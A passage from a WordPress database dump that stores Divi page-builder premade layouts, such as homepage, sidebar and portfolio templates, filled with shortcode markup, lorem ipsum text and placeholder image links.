eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi. Fusce at purus in massa laoreet[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"Slide Title Here\" button_text=\"Our Work\" button_link=\"#\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi.Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" background_color=\"#283139\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]</p><h1>Versatile Layout Options</h1><p>Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus dolor ipsum amet sit.</p><p>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" icon_placement=\"left\" font_icon=\"R\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#ec6d5f\" circle_color=\"#2caaca\" circle_border_color=\"#2caaca\" animation=\"bottom\" background_layout=\"dark\" text_orientation=\"center\"]<span style=\"color: #bbbbbb;\">Donec at euismod nibh, eu bibendum.[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" icon_placement=\"left\" font_icon=\"R\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#1fa0e3\" circle_color=\"#2caaca\" circle_border_color=\"#2caaca\" animation=\"right\" background_layout=\"dark\" text_orientation=\"center\"]<span style=\"color: #bbbbbb;\">Donec at euismod nibh, eu bibendum.[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" icon_placement=\"left\" font_icon=\"R\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#47bfa4\" circle_color=\"#2caaca\" circle_border_color=\"#2caaca\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\"]<span style=\"color: #bbbbbb;\">Donec at euismod nibh, eu bibendum.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" url_new_window=\"off\" animation=\"bottom\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" url_new_window=\"off\" animation=\"bottom\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" background_color=\"#ec6d5f\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" background_color=\"#7ebec5\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\" button_url=\"#\" button_text=\"Join Now\"]</p><h1>Look No Further. Get Started Today</h1><p>[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Homepage Extended','','publish','open','open','','homepage-extended','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=10',0,'et_pb_layout','',0),(11,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" inner_shadow=\"off\" parallax=\"off\" background_color=\"#2ea3f2\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Page Title\" subhead=\"Here is a basic page layout with no sidebar\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\"]\r\n<h2>Just A Standard Page</h2>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\nSed sit amet blandit ipsum, et consectetur libero. Integer convallis at metus quis molestie. Morbi vitae odio ut ante molestie scelerisque. Aliquam erat volutpat. Vivamus dignissim fringilla semper. Aliquam imperdiet dui a purus pellentesque, non ornare ipsum blandit. Sed imperdiet elit in quam egestas lacinia nec sit amet dui. Cras malesuada tincidunt ante, in luctus tellus hendrerit at. Duis massa mauris, bibendum a mollis a, laoreet quis elit. Nulla pulvinar vestibulum est, in viverra nisi malesuada vel. Nam ut ipsum quis est faucibus mattis eu ut turpis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas nunc felis, venenatis in fringilla vel, tempus in turpis. Mauris aliquam dictum dolor at varius. Fusce sed vestibulum metus. Vestibulum dictum ultrices nulla sit amet fermentum.\r\n\r\n[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]','Page Fullwidth','','publish','open','open','','page-fullwidth','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=11',0,'et_pb_layout','',0),(12,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"on\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Page Title\" subhead=\"Here is a basic page layout with a right sidebar\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"on\"][et_pb_column type=\"3_4\" specialty_columns=\"3\"][et_pb_row_inner][et_pb_column_inner type=\"4_4\"][et_pb_text admin_label=\"Text\"]\r\n<h2>Just A Standard Page</h2>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\nSed sit amet blandit ipsum, et consectetur libero. Integer convallis at metus quis molestie. Morbi vitae odio ut ante molestie scelerisque. Aliquam erat volutpat. Vivamus dignissim fringilla semper. Aliquam imperdiet dui a purus pellentesque, non ornare ipsum blandit. Sed imperdiet elit in quam egestas lacinia nec sit amet dui. Cras malesuada tincidunt ante, in luctus tellus hendrerit at. Duis massa mauris, bibendum a mollis a, laoreet quis elit. Nulla pulvinar vestibulum est, in viverra nisi malesuada vel. Nam ut ipsum quis est faucibus mattis eu ut turpis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas nunc felis, venenatis in fringilla vel, tempus in turpis. Mauris aliquam dictum dolor at varius. Fusce sed vestibulum metus. Vestibulum dictum ultrices nulla sit amet fermentum.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][et_pb_row_inner][et_pb_column_inner type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][et_pb_row_inner][et_pb_column_inner type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_sidebar admin_label=\"Sidebar\" orientation=\"right\" area=\"sidebar-1\" background_layout=\"light\" /][/et_pb_column][/et_pb_section]','Page Right Sidebar','','publish','open','open','','page-right-sidebar','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=12',0,'et_pb_layout','',0),(13,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Page With Left Sidebar\" subhead=\"Here is a basic page layout with a left sidebar\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"on\"][et_pb_column type=\"1_4\"][et_pb_sidebar admin_label=\"Sidebar\" orientation=\"left\" area=\"sidebar-1\" background_layout=\"light\" /][/et_pb_column][et_pb_column type=\"3_4\" specialty_columns=\"3\"][et_pb_row_inner][et_pb_column_inner type=\"4_4\"][et_pb_text admin_label=\"Text\"]\r\n<h2>Just A Standard Page</h2>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\nSed sit amet blandit ipsum, et consectetur libero. Integer convallis at metus quis molestie. Morbi vitae odio ut ante molestie scelerisque. Aliquam erat volutpat. Vivamus dignissim fringilla semper. Aliquam imperdiet dui a purus pellentesque, non ornare ipsum blandit. Sed imperdiet elit in quam egestas lacinia nec sit amet dui. Cras malesuada tincidunt ante, in luctus tellus hendrerit at. Duis massa mauris, bibendum a mollis a, laoreet quis elit. Nulla pulvinar vestibulum est, in viverra nisi malesuada vel. Nam ut ipsum quis est faucibus mattis eu ut turpis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas nunc felis, venenatis in fringilla vel, tempus in turpis. Mauris aliquam dictum dolor at varius. Fusce sed vestibulum metus. Vestibulum dictum ultrices nulla sit amet fermentum.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][et_pb_row_inner][et_pb_column_inner type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][et_pb_row_inner][et_pb_column_inner type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h4>Lorem Ipsum Dolor</h4>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][/et_pb_column][/et_pb_section]','Page Left Sidebar','','publish','open','open','','page-left-sidebar','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=13',0,'et_pb_layout','',0),(14,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"Page With Dual Sidebars\" subhead=\"Here is a basic page layout with dual sidebars\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"on\"][et_pb_column type=\"1_4\"][et_pb_sidebar admin_label=\"Sidebar\" orientation=\"left\" area=\"sidebar-1\" background_layout=\"light\" /][/et_pb_column][et_pb_column type=\"1_2\" specialty_columns=\"2\"][et_pb_row_inner][et_pb_column_inner type=\"4_4\"][et_pb_text admin_label=\"Text\"]\r\n<h2>Just A Standard Page</h2>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\nSed sit amet blandit ipsum, et consectetur libero. Integer convallis at metus quis molestie. Morbi vitae odio ut ante molestie scelerisque. Aliquam erat volutpat. Vivamus dignissim fringilla semper. Aliquam imperdiet dui a purus pellentesque, non ornare ipsum blandit. Sed imperdiet elit in quam egestas lacinia nec sit amet dui. Cras malesuada tincidunt ante, in luctus tellus hendrerit at. Duis massa mauris, bibendum a mollis a, laoreet quis elit. Nulla pulvinar vestibulum est, in viverra nisi malesuada vel. Nam ut ipsum quis est faucibus mattis eu ut turpis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas nunc felis, venenatis in fringilla vel, tempus in turpis. Mauris aliquam dictum dolor at varius. Fusce sed vestibulum metus. Vestibulum dictum ultrices nulla sit amet fermentum.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][et_pb_row_inner][et_pb_column_inner type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][et_pb_column_inner type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]\r\n<h3>Lorem Ipsum Dolor</h3>\r\nNunc et vestibulum velit. Suspendisse euismod eros vel urna bibendum gravida. Phasellus et metus nec dui ornare molestie. In consequat urna sed tincidunt euismod. Praesent non pharetra arcu, at tincidunt sapien. Nullam lobortis ultricies bibendum. Duis elit leo, porta vel nisl in, ullamcorper scelerisque velit. Fusce volutpat purus dolor, vel pulvinar dui porttitor sed. Phasellus ac odio eu quam varius elementum sit amet euismod justo.\r\n\r\n[/et_pb_text][/et_pb_column_inner][/et_pb_row_inner][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_sidebar admin_label=\"Sidebar\" orientation=\"right\" area=\"sidebar-1\" background_layout=\"light\" /][/et_pb_column][/et_pb_section]','Page Dual Sidebars','','publish','open','open','','page-dual-sidebars','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=14',0,'et_pb_layout','',0),(15,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"My Work\" subhead=\"Your Subtitle Goes Here\" background_layout=\"dark\" text_orientation=\"left\" /][/et_pb_section][et_pb_section background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_filterable_portfolio admin_label=\"Filterable Portfolio\" fullwidth=\"off\" posts_number=\"12\" show_title=\"on\" show_categories=\"on\" show_pagination=\"off\" background_layout=\"light\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Like What You See?\" button_url=\"#\" button_text=\"Contact Me\" use_background_color=\"off\" background_color=\"#108bf5\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Portfolio Grid','','publish','open','open','','portfolio-grid','','','2015-02-15 19:19:04','2015-02-15 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parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"I Love Working With Creative Minds\" button_url=\"#\" button_text=\"Contact Me\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\"]If you are interested in working together, send me an inquiry and I will get back to you as soon as I can![/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Portfolio 1 Column','','publish','open','open','','portfolio-1-column','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=16',0,'et_pb_layout','',0),(17,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"on\" parallax=\"off\"][et_pb_slide background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][et_pb_slide background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][et_pb_slide background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][/et_pb_fullwidth_slider][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" fullwidth=\"on\" show_title=\"on\" show_date=\"on\" background_layout=\"light\" auto=\"off\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Let\'s Build Something Together\" button_url=\"#\" button_text=\"Contact Me\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Portfolio Fullwidth Carousel','','publish','open','open','','portfolio-fullwidth-carousel','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=17',0,'et_pb_layout','',0),(18,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" fullwidth=\"off\" show_title=\"on\" show_date=\"on\" background_layout=\"dark\" auto=\"off\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Interested In Working On A Project?\" button_url=\"#\" button_text=\"Contact Me\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Portfolio Fullwidth Grid','','publish','open','open','','portfolio-fullwidth-grid','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=18',0,'et_pb_layout','',0),(19,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#3a3a3a\" inner_shadow=\"off\" parallax=\"on\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_blurb admin_label=\"Blurb\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#45c4ec\" use_circle=\"off\" circle_color=\"#45c4ec\" use_circle_border=\"off\" circle_border_color=\"#45c4ec\" icon_placement=\"top\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h1 style=\"font-size: 72px; font-weight: 300;\">Your Project Name</h1>[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h2>The Challenge</h2>\r\nVivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. 